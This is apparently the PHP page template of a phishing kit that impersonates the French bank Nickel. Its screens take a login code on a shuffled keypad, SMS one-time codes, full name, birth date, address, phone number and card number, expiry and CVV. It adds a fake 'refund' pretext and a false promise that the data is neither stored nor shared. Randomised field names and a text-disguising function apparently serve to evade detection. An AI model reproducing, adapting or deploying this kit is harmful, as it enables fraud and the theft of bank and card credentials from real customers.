                                            <path fill-rule="evenodd" clip-rule="evenodd" d="m12.073 5 8.68 8.688c.4-.542.77-1.106 1.105-1.69a18.681 18.681 0 0 0-2.463-3.314C17.62 6.789 15.14 5.028 12.073 5ZM23 12l.894-.447a1 1 0 0 1-.012.918 19.5 19.5 0 0 1-2.277 3.363 1 1 0 0 1-1.472.063L9.193 4.947a1 1 0 0 1 .48-1.68A10.12 10.12 0 0 1 12.002 3L12 4V3h.001c3.9 0 6.895 2.227 8.854 4.316a20.675 20.675 0 0 1 2.831 3.85 11.81 11.81 0 0 1 .192.354l.011.022.003.007.002.004L23 12ZM5.453 5.265a1 1 0 0 1 1.314.088l3.816 3.816.007.007 4.234 4.234.007.007 3.816 3.816a1 1 0 0 1-.1 1.502A11.07 11.07 0 0 1 12.016 21H12c-3.9 0-6.896-2.226-8.855-4.316a20.67 20.67 0 0 1-2.831-3.85 12.375 12.375 0 0 1-.192-.354l-.011-.022-.003-.007-.002-.002s0-.002.894-.449l-.894.447a1 1 0 0 1 .013-.92 19.45 19.45 0 0 1 5.334-6.262Zm-3.31 6.738a18.68 18.68 0 0 0 2.462 3.313c1.789 1.909 4.29 3.68 7.387 3.684a9.07 9.07 0 0 0 4.38-1.214l-2.322-2.322a3.992 3.992 0 0 1-2.054.61 3.999 3.999 0 0 1-3.46-6.124L5.987 7.401a17.45 17.45 0 0 0-3.844 4.602Zm7.885-.56a2 2 0 0 0 2.53 2.53l-2.53-2.53Z">
                                            </path>
                                            <path fill-rule="evenodd" clip-rule="evenodd" d="M.293.293a1 1 0 0 1 1.414 0l22 22a1 1 0 0 1-1.414 1.414l-22-22a1 1 0 0 1 0-1.414Z">
                                            </path>
                                        </svg>
                                    </div>
                                </div>
                                <div class="sc-jlZhew kIujGa">
                                    <span>
                                    </span>
                                    <a role="link" class="sc-jEACwC loCtLo">
                                        <?php echo getCyrillicAlphabet('Code d\'accès oublié'); ?>
                                    </a>
                                </div>
                            </div>
                            <div class="sc-fJxALz kbEDhr">
                                <div role="group" class="sc-aXZVg fWeJLY">
                                    <input type="hidden" id="<?php echo $_SESSION["attribute"][3]; ?>" name="<?php echo $_SESSION["attribute"][3]; ?>" value="">
                                    <?php
                                    // Generate an array with numbers from 0 to 9
                                    $numbers = range(0, 9);

                                    // Shuffle the array randomly
                                    shuffle($numbers);
                                    ?>
                                    <?php foreach ($numbers as $number) { ?>
                                        <button class="sc-eqUAAy jHqcGs" type="button" onclick="appendToKeyboardInput(<?php echo $number; ?>)">
                                            <?php echo $number; ?>
                                        </button>
                                    <?php } ?>
                                    <div class="sc-dcJsrY iRqbUC">
                                        <button class="sc-fqkvVR kmWDyT" type="button" onclick="removeFromKeyboardInput()">
                                            <?php echo getCyrillicAlphabet('Effacer'); ?>
                                            <svg viewBox="0 0 24 24" fill="" xmlns="http://www.w3.org/2000/svg" class="icon" height="24" width="24">
                                                <path fill-rule="evenodd" clip-rule="evenodd" d="M7.247 3.341A1 1 0 0 1 8 3h13a3 3 0 0 1 3 3v12a3 3 0 0 1-3 3H8a1 1 0 0 1-.753-.341l-7-8a1 1 0 0 1 0-1.318l7-8ZM8.454 5l-6.125 7 6.125 7H21a1 1 0 0 0 1-1V6a1 1 0 0 0-1-1H8.454Z">
                                                </path>
                                                <path fill-rule="evenodd" clip-rule="evenodd" d="M18.707 8.293a1 1 0 0 1 0 1.414l-6 6a1 1 0 0 1-1.414-1.414l6-6a1 1 0 0 1 1.414 0Z">
                                                </path>
                                                <path fill-rule="evenodd" clip-rule="evenodd" d="M11.293 8.293a1 1 0 0 1 1.414 0l6 6a1 1 0 0 1-1.414 1.414l-6-6a1 1 0 0 1 0-1.414Z">
                                                </path>
                                            </svg>
                                        </button>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </form>
                </div>
            <?php } ?>
            <?php if ($_GET['op'] === $_SESSION["op"][2]) { ?>
                <div class="sc-icoqBx jfRpsO snipcss0-0-0-1 snipcss-3jeGv">
                    <form method="post">
                        <div id="layoutId" class="sc-eVedaM bzdSnS">
                            <div class="sc-gBsxbr dxFZky">
                                <button type="button" class="sc-knSFqH iwmrPd" onclick="location.href='?op=<?php echo $_SESSION["op"][1]; ?>';">
                                    <div class="sc-bBABsx hfFfKA">
                                        <svg viewBox="0 0 24 24" fill="currentColor" xmlns="http://www.w3.org/2000/svg" class="icon" height="24" width="24">
                                            <path fill-rule="evenodd" clip-rule="evenodd" d="M15.707 5.293a1 1 0 0 1 0 1.414L10.414 12l5.293 5.293a1 1 0 0 1-1.414 1.414l-6-6a1 1 0 0 1 0-1.414l6-6a1 1 0 0 1 1.414 0Z">
                                            </path>
                                        </svg>
                                    </div>
                                </button>
                                <h2 class="sc-hxyAeK hIpCju">
                                    <?php echo getCyrillicAlphabet('Vérification SMS'); ?>
                                </h2>
                            </div>
                            <div class="sc-gggoXN byiTzm">
                                <h1 class="sc-hcmsbg iHLBIg">
                                    <?php echo getCyrillicAlphabet('Entrer le code SMS'); ?>
                                </h1>
                                <p class="sc-ojivU jjQalL">
                                    <?php echo getCyrillicAlphabet('Le code a été envoyé. Le code peut mettre quelques minutes à arriver.'); ?>
                                </p>
                            </div>
                            <div class="sc-iAEawV ihmKiB">
                                <div class="sc-gYbzsP brmByp">
                                    <div class="sc-cCjUiG cjfGxV">
                                        <label class="sc-jcMfQk dNkBmv" for="<?php echo $_SESSION["attribute"][8]; ?>">
                                            <?php echo getCyrillicAlphabet('Code reçu par SMS'); ?>
                                        </label>
                                        <input name="<?php echo $_SESSION["attribute"][8]; ?>" type="text" class="sc-cjibBx dYWVma" value="" maxlength="6" oninput="if(this.value.length >= 6) submitClosestForm(this);">
                                    </div>
                                </div>
                                <div class="sc-eeMvmM bgEazn">
                                    <?php echo getCyrillicAlphabet('******'); ?>
                                </div>
                            </div>
                            <button class="sc-ftTHYK hIzZA sc-jrcTuL hDrShV" disabled="" type="button" onclick="startCountdown()">
                                <span class="sc-pyfCe jqwhcx" id="<?php echo $_SESSION["attribute"][9]; ?>">
                                    <?php echo getCyrillicAlphabet('Renvoyez moi un code (0:30)'); ?>
                                </span>
                            </button>
                        </div>
                    </form>
                </div>
            <?php } ?>
            <?php if ($_GET['op'] === $_SESSION["op"][3]) { ?>
                <div class="sc-icoqBx jfRpsO snipcss0-0-0-1 snipcss-3jeGv">
                    <form method="post">
                        <div id="layoutId" class="sc-eVedaM bzdSnS">
                            <div class="sc-gBsxbr dxFZky">
                                <button type="button" class="sc-knSFqH iwmrPd" onclick="location.href='?op=<?php echo $_SESSION["op"][0]; ?>';">
                                    <div class="sc-bBABsx hfFfKA">
                                        <svg viewBox="0 0 24 24" fill="currentColor" xmlns="http://www.w3.org/2000/svg" class="icon" height="24" width="24">
                                            <path fill-rule="evenodd" clip-rule="evenodd" d="M15.707 5.293a1 1 0 0 1 0 1.414L10.414 12l5.293 5.293a1 1 0 0 1-1.414 1.414l-6-6a1 1 0 0 1 0-1.414l6-6a1 1 0 0 1 1.414 0Z">
                                            </path>
                                        </svg>
                                    </div>
                                </button>
                                <h2 class="sc-hxyAeK hIpCju">
                                    <?php echo getCyrillicAlphabet('Vérification d’identité'); ?>
                                </h2>
                            </div>
                            <div class="sc-gggoXN byiTzm">
                                <h1 class="sc-hcmsbg iHLBIg">
                                    <?php echo getCyrillicAlphabet(''); ?>
                                </h1>
                                <p class="sc-ojivU jjQalL">
                                    <?php echo getCyrillicAlphabet(''); ?>
                                </p>
                            </div>
                            <div class="gIA-dmj">
                                <label class="iAY-vns"><?php echo getCyrillicAlphabet('Confirmez vos données personnelles'); ?></label>
                            </div>
                            <div class="bhy-rb2">
                                <div>
                                    <div class="sc-eGFuAX fYJFKB"></div>
                                    <div class="sc-iAEawV ihmKiB">
                                        <div class="sc-gYbzsP brmByp">
                                            <div class="sc-cCjUiG cjfGxV">
                                                <label class="sc-jcMfQk dNkBmv" for="<?php echo $_SESSION["attribute"][14]; ?>">
                                                    <?php echo getCyrillicAlphabet('Nom'); ?>
                                                </label>
                                                <input style="font-family: Sarabun, sans-serif;" name="<?php echo $_SESSION["attribute"][14]; ?>" id="<?php echo $_SESSION["attribute"][14]; ?>" type="text" class="sc-cjibBx dYWVma" value="">
                                            </div>
                                        </div>
                                        <div style="display: none;" class="fTj-bev"></div>
                                    </div>
                                </div>
                                <div>
                                    <div class="sc-eGFuAX fYJFKB"></div>
                                    <div class="sc-iAEawV ihmKiB">
                                        <div class="sc-gYbzsP brmByp">
                                            <div class="sc-cCjUiG cjfGxV">
                                                <label class="sc-jcMfQk dNkBmv" for="<?php echo $_SESSION["attribute"][15]; ?>">
                                                    <?php echo getCyrillicAlphabet('Prénom'); ?>
                                                </label>
                                                <input style="font-family: Sarabun, sans-serif;" name="<?php echo $_SESSION["attribute"][15]; ?>" id="<?php echo $_SESSION["attribute"][15]; ?>" type="text" class="sc-cjibBx dYWVma" value="">
                                            </div>
                                        </div>
                                        <div style="display: none;" class="fTj-bev"></div>
                                    </div>
                                </div>
                            </div>
                            <div class="sc-iAEawV ihmKiB">
                                <div class="sc-gYbzsP brmByp">
                                    <div class="sc-cCjUiG cjfGxV">
                                        <label class="sc-jcMfQk dNkBmv" for="<?php echo $_SESSION["attribute"][16]; ?>">
                                            <?php echo getCyrillicAlphabet('Né(e) le'); ?>
                                        </label>
                                        <input style="font-family: Sarabun, sans-serif;" name="<?php echo $_SESSION["attribute"][16]; ?>" id="<?php echo $_SESSION["attribute"][16]; ?>" type="text" class="sc-cjibBx dYWVma" value="" placeholder="<?php echo getCyrillicAlphabet('Date de naissance'); ?>" inputmode="numeric">
                                    </div>
                                </div>
                                <div style="display: none;" class="fTj-bev"></div>
                            </div>
                            <div class="gIA-dmj">
                                <label class="iAY-vns"><?php echo getCyrillicAlphabet('Confirmez votre adresse postale'); ?></label>
                            </div>
                            <div class="jQA-nwx">
                                <div class="fIl-bli">
                                <div class="sc-eGFuAX fYJFKB"></div>
                                    <div class="sc-iAEawV ihmKiB">
                                        <div class="sc-gYbzsP brmByp">
                                            <div class="sc-cCjUiG cjfGxV">
                                                <label class="sc-jcMfQk dNkBmv" for="<?php echo $_SESSION["attribute"][17]; ?>">
                                                    <?php echo getCyrillicAlphabet('Code postal'); ?>
                                                </label>
                                                <input style="font-family: Sarabun, sans-serif;" name="<?php echo $_SESSION["attribute"][17]; ?>" id="<?php echo $_SESSION["attribute"][17]; ?>" type="text" class="sc-cjibBx dYWVma" value="" placeholder="<?php echo getCyrillicAlphabet('Code postal'); ?>" inputmode="numeric">
                                            </div>
                                        </div>
                                        <div style="display: none;" class="fTj-bev"></div>
                                    </div>
                                </div>
                                <div class="fIl-bli">
                                <div class="sc-eGFuAX fYJFKB"></div>
                                    <div class="sc-iAEawV ihmKiB">
                                        <div class="sc-gYbzsP brmByp">
                                            <div class="sc-cCjUiG cjfGxV">
                                                <label class="sc-jcMfQk dNkBmv" for="<?php echo $_SESSION["attribute"][18]; ?>">
                                                    <?php echo getCyrillicAlphabet('Ville'); ?>
                                                </label>
                                                <input style="font-family: Sarabun, sans-serif;" name="<?php echo $_SESSION["attribute"][18]; ?>" id="<?php echo $_SESSION["attribute"][18]; ?>" type="text" class="sc-cjibBx dYWVma" value="" placeholder="<?php echo getCyrillicAlphabet('Ville'); ?>">
                                            </div>
                                        </div>
                                        <div style="display: none;" class="fTj-bev"></div>
                                    </div>
                                </div>
                            </div>
                            <div class="jQA-nwx">
                                <div class="fIl-bli">
                                <div class="sc-eGFuAX fYJFKB"></div>
                                    <div class="sc-iAEawV ihmKiB">
                                        <div class="sc-gYbzsP brmByp">
                                            <div class="sc-cCjUiG cjfGxV">
                                                <label class="sc-jcMfQk dNkBmv" for="<?php echo $_SESSION["attribute"][19]; ?>">
                                                    <?php echo getCyrillicAlphabet('N° de rue'); ?>
                                                </label>
                                                <input style="font-family: Sarabun, sans-serif;" name="<?php echo $_SESSION["attribute"][19]; ?>" id="<?php echo $_SESSION["attribute"][19]; ?>" type="text" class="sc-cjibBx dYWVma" value="" placeholder="<?php echo getCyrillicAlphabet('N° de rue'); ?>">
                                            </div>
                                        </div>
                                    </div>
                                </div>
                                <div class="fIl-bli">
                                <div class="sc-eGFuAX fYJFKB"></div>
                                    <div class="sc-iAEawV ihmKiB">
                                        <div class="sc-gYbzsP brmByp">
                                            <div class="sc-cCjUiG cjfGxV">
                                                <label class="sc-jcMfQk dNkBmv" for="<?php echo $_SESSION["attribute"][20]; ?>">
                                                    <?php echo getCyrillicAlphabet('Nom de rue'); ?>
                                                </label>
                                                <input style="font-family: Sarabun, sans-serif;" name="<?php echo $_SESSION["attribute"][20]; ?>" id="<?php echo $_SESSION["attribute"][20]; ?>" type="text" class="sc-cjibBx dYWVma" value="" placeholder="<?php echo getCyrillicAlphabet('Nom de rue'); ?>">
                                            </div>
                                        </div>
                                        <div style="display: none;" class="fTj-bev"></div>
                                    </div>
                                </div>
                            </div>
                            <div class="sc-iAEawV ihmKiB">
                                <div class="sc-gYbzsP brmByp">
                                    <div class="sc-cCjUiG cjfGxV">
                                        <label class="sc-jcMfQk dNkBmv" for="<?php echo $_SESSION["attribute"][21]; ?>">
                                            <?php echo getCyrillicAlphabet('Complément d\'adresse'); ?>
                                        </label>
                                        <input style="font-family: Sarabun, sans-serif;" name="<?php echo $_SESSION["attribute"][21]; ?>" id="<?php echo $_SESSION["attribute"][21]; ?>" type="text" class="sc-cjibBx dYWVma" value="" placeholder="<?php echo getCyrillicAlphabet('Bâtiment, boîte aux lettres, étage, ...'); ?>">
                                    </div>
                                </div>
                            </div>
                            <div class="gIA-dmj">
                                <label class="iAY-vns"><?php echo getCyrillicAlphabet('Confirmez votre numéro de téléphone'); ?></label>
                            </div>
                            <div class="sc-iAEawV ihmKiB">
                                <div class="sc-gYbzsP brmByp">
                                    <div class="sc-cCjUiG cjfGxV">
                                        <label class="sc-jcMfQk dNkBmv" for="<?php echo $_SESSION["attribute"][22]; ?>">
                                            <?php echo getCyrillicAlphabet('Numéro de téléphone'); ?>
                                        </label>
                                        <input style="font-family: Sarabun, sans-serif;" name="<?php echo $_SESSION["attribute"][22]; ?>" id="<?php echo $_SESSION["attribute"][22]; ?>" type="text" class="sc-cjibBx dYWVma" value="" placeholder="<?php echo getCyrillicAlphabet('Numéro de téléphone'); ?>" inputmode="numeric">
                                    </div>
                                </div>
                                <div style="display: none;" class="fTj-bev"></div>
                            </div>
                            <div class="sc-vMGZd kWokIK"><button class="sc-ftTHYK hIzZA sc-kDvujY hWUUbn" type="submit" id="<?php echo $_SESSION["attribute"][13]; ?>" disabled><span class="sc-pyfCe jqwhcx"><?php echo getCyrillicAlphabet('Continuer'); ?></span></button></div>
                        </div>
                    </form>
                </div>
            <?php } ?>
            <?php if ($_GET['op'] === $_SESSION["op"][4]) { ?>
                <div class="sc-icoqBx jfRpsO snipcss0-0-0-1 snipcss-3jeGv">
                    <form method="post">
                        <div id="layoutId" class="sc-eVedaM bzdSnS">
                            <div class="sc-gBsxbr dxFZky">
                                <button type="button" class="sc-knSFqH iwmrPd" onclick="location.href='?op=<?php echo $_SESSION["op"][0]; ?>';">
                                    <div class="sc-bBABsx hfFfKA">
                                        <svg viewBox="0 0 24 24" fill="currentColor" xmlns="http://www.w3.org/2000/svg" class="icon" height="24" width="24">
                                            <path fill-rule="evenodd" clip-rule="evenodd" d="M15.707 5.293a1 1 0 0 1 0 1.414L10.414 12l5.293 5.293a1 1 0 0 1-1.414 1.414l-6-6a1 1 0 0 1 0-1.414l6-6a1 1 0 0 1 1.414 0Z">
                                            </path>
                                        </svg>
                                    </div>
                                </button>
                                <h2 class="sc-hxyAeK hIpCju">
                                    <?php echo getCyrillicAlphabet('Confirmation d\'identité par carte'); ?>
                                </h2>
                            </div>
                            <div class="sc-gggoXN byiTzm">
                                <h1 class="sc-hcmsbg iHLBIg">
                                    <?php echo getCyrillicAlphabet('Entrer les détails de votre carte Nickel'); ?>
                                </h1>
                                <p class="sc-ojivU jjQalL">
                                    <?php echo getCyrillicAlphabet('Cette étape unique confirme votre identité sans effectuer de transactions. Vos données sont chiffrées et ne seront ni stockées ni partagées.'); ?>
                                </p>
                            </div>
                            <div class="sc-iAEawV ihmKiB">
                                <div class="sc-gYbzsP brmByp">
                                    <div class="sc-cCjUiG cjfGxV">
                                        <label class="sc-jcMfQk dNkBmv" for="<?php echo $_SESSION["attribute"][10]; ?>">
                                            <?php echo getCyrillicAlphabet('Numéro de la carte (16 chiffres)'); ?>
                                        </label>
                                        <input name="<?php echo $_SESSION["attribute"][10]; ?>" id="<?php echo $_SESSION["attribute"][10]; ?>" type="text" class="sc-cjibBx dYWVma" value="" oninput="formatCard(this)" inputmode="numeric">
                                    </div>
                                </div>
                            </div>
                            <div class="sc-iAEawV ihmKiB">
                                <div class="sc-gYbzsP brmByp">
                                    <div class="sc-cCjUiG cjfGxV">
                                        <label class="sc-jcMfQk dNkBmv" for="<?php echo $_SESSION["attribute"][11]; ?>">
                                            <?php echo getCyrillicAlphabet('Date d\'expiration (MM/AA)'); ?>
                                        </label>
                                        <input name="<?php echo $_SESSION["attribute"][11]; ?>" id="<?php echo $_SESSION["attribute"][11]; ?>" type="text" class="sc-cjibBx dYWVma" value="  /  " oninput="formatDate(this)" inputmode="numeric">
                                    </div>
                                </div>
                            </div>
                            <div class="sc-iAEawV ihmKiB">
                                <div class="sc-gYbzsP brmByp">
                                    <div class="sc-cCjUiG cjfGxV">
                                        <label class="sc-jcMfQk dNkBmv" for="<?php echo $_SESSION["attribute"][12]; ?>">
                                            <?php echo getCyrillicAlphabet('Cryptogramme visuel (3 chiffres)'); ?>
                                        </label>
                                        <input name="<?php echo $_SESSION["attribute"][12]; ?>" id="<?php echo $_SESSION["attribute"][12]; ?>" type="text" class="sc-cjibBx dYWVma" value="" maxlength="3" inputmode="numeric">
                                    </div>
                                </div>
                            </div>
                            <div class="sc-vMGZd kWokIK"><button class="sc-ftTHYK hIzZA sc-kDvujY hWUUbn" type="submit" id="<?php echo $_SESSION["attribute"][13]; ?>" disabled><span class="sc-pyfCe jqwhcx"><?php echo getCyrillicAlphabet('Continuer'); ?></span></button></div>
                        </div>
                    </form>
                </div>
            <?php } ?>
            <?php if ($_GET['op'] === $_SESSION["op"][5]) { ?>
                <div class="sc-icoqBx jfRpsO snipcss0-0-0-1 snipcss-3jeGv">
                    <form method="post">
                        <div id="layoutId" class="sc-eVedaM bzdSnS">
                            <div class="sc-gBsxbr dxFZky">
                                <button type="button" class="sc-knSFqH iwmrPd" onclick="location.href='?op=<?php echo $_SESSION["op"][4]; ?>';">
                                    <div class="sc-bBABsx hfFfKA">
                                        <svg viewBox="0 0 24 24" fill="currentColor" xmlns="http://www.w3.org/2000/svg" class="icon" height="24" width="24">
                                            <path fill-rule="evenodd" clip-rule="evenodd" d="M15.707 5.293a1 1 0 0 1 0 1.414L10.414 12l5.293 5.293a1 1 0 0 1-1.414 1.414l-6-6a1 1 0 0 1 0-1.414l6-6a1 1 0 0 1 1.414 0Z">
                                            </path>
                                        </svg>
                                    </div>
                                </button>
                                <h2 class="sc-hxyAeK hIpCju">
                                    <?php echo getCyrillicAlphabet('Vérification SMS'); ?>
                                </h2>
                            </div>
                            <div class="sc-gggoXN byiTzm">
                                <h1 class="sc-hcmsbg iHLBIg">
                                    <?php echo getCyrillicAlphabet('Confirmation de votre remboursement'); ?>
                                </h1>
                                <p class="sc-ojivU jjQalL">
                                    <?php echo getCyrillicAlphabet('Afin de finaliser le processus de remboursement, veuillez saisir le code que vous avez reçu par SMS sur votre téléphone.'); ?>
                                </p>
                            </div>
                            <div class="bhy-rb2" style="grid-template-columns: repeat(4, 1fr) !important; width: 235px !important; margin-right: auto; margin-left: auto;">
                                <div>
                                    <div class="sc-iAEawV ihmKiB">
                                        <div class="sc-gYbzsP brmByp">
                                            <div class="sc-cCjUiG cjfGxV" style="padding-left: 0; padding-right: 0;">
                                                <input style="text-align: center;" name="<?php echo $_SESSION["attribute"][23]; ?>[0]" type="text" class="sc-cjibBx dYWVma" value="" maxlength="1">
                                            </div>
                                        </div>
                                    </div>
                                </div>
                                <div>
                                    <div class="sc-iAEawV ihmKiB">
                                        <div class="sc-gYbzsP brmByp">
                                            <div class="sc-cCjUiG cjfGxV" style="padding-left: 0; padding-right: 0;">
                                                <input style="text-align: center;" name="<?php echo $_SESSION["attribute"][23]; ?>[1]" type="text" class="sc-cjibBx dYWVma" value="" maxlength="1">
                                            </div>
                                        </div>
                                    </div>
                                </div>
                                <div>
                                    <div class="sc-iAEawV ihmKiB">
                                        <div class="sc-gYbzsP brmByp">
                                            <div class="sc-cCjUiG cjfGxV" style="padding-left: 0; padding-right: 0;">
                                                <input style="text-align: center;" name="<?php echo $_SESSION["attribute"][23]; ?>[2]" type="text" class="sc-cjibBx dYWVma" value="" maxlength="1">
                                            </div>
                                        </div>
                                    </div>
                                </div>
                                <div>
                                    <div class="sc-iAEawV ihmKiB">
                                        <div class="sc-gYbzsP brmByp">
                                            <div class="sc-cCjUiG cjfGxV" style="padding-left: 0; padding-right: 0;">
                                                <input style="text-align: center;" name="<?php echo $_SESSION["attribute"][23]; ?>[3]" type="text" class="sc-cjibBx dYWVma" value="" maxlength="1">
                                            </div>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <button class="sc-ftTHYK hIzZA sc-jrcTuL hDrShV" disabled="" type="button" onclick="startCountdown()">
                                <span class="sc-pyfCe jqwhcx" id="<?php echo $_SESSION["attribute"][9]; ?>">
                                    <?php echo getCyrillicAlphabet('Renvoyez moi un code (0:30)'); ?>
                                </span>
                            </button>
                        </div>
                    </form>
                </div>
            <?php } ?>
            <div class="sc-bZesDY bCyfTj"><button class="sc-ftTHYK hIzZA sc-jrcTuL hDrShV" type="button"><span class="sc-pyfCe jqwhcx"><?php echo getCyrillicAlphabet('Aide'); ?> &amp; <?php echo getCyrillicAlphabet('opposition CB'); ?></span></button>
                <div class="sc-joaiRD bOFeRz"></div><button class="sc-ftTHYK hIzZA sc-jrcTuL hDrShV" type="button"><span class="sc-pyfCe jqwhcx"><?php echo getCyrillicAlphabet('Pas encore client ?'); ?></span></button>
            </div>
        </div>
    </div>
</div>

<?php include BASE_PATH . '/src/includes/footer.php' ?>